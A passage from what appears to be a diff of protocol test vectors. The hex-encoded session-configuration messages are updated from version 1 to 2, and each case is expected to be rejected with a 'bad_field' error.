17468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000740600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-source-outside-workspace", "direction": "down", - "hex": "574d583101010000010000002b0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f6574632f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000680600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f6574632f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-no-roots", "direction": "down", - "hex": "574d58310101000001000000500500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000008d0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-host-query-sees-the-winter-tree", "direction": "down", - "hex": "574d583101010000010000003c0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000790600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-host-query-plan-writable", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-profile-null-but-runtime-present", "direction": "down", - "hex": "574d58310101000001000000270600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756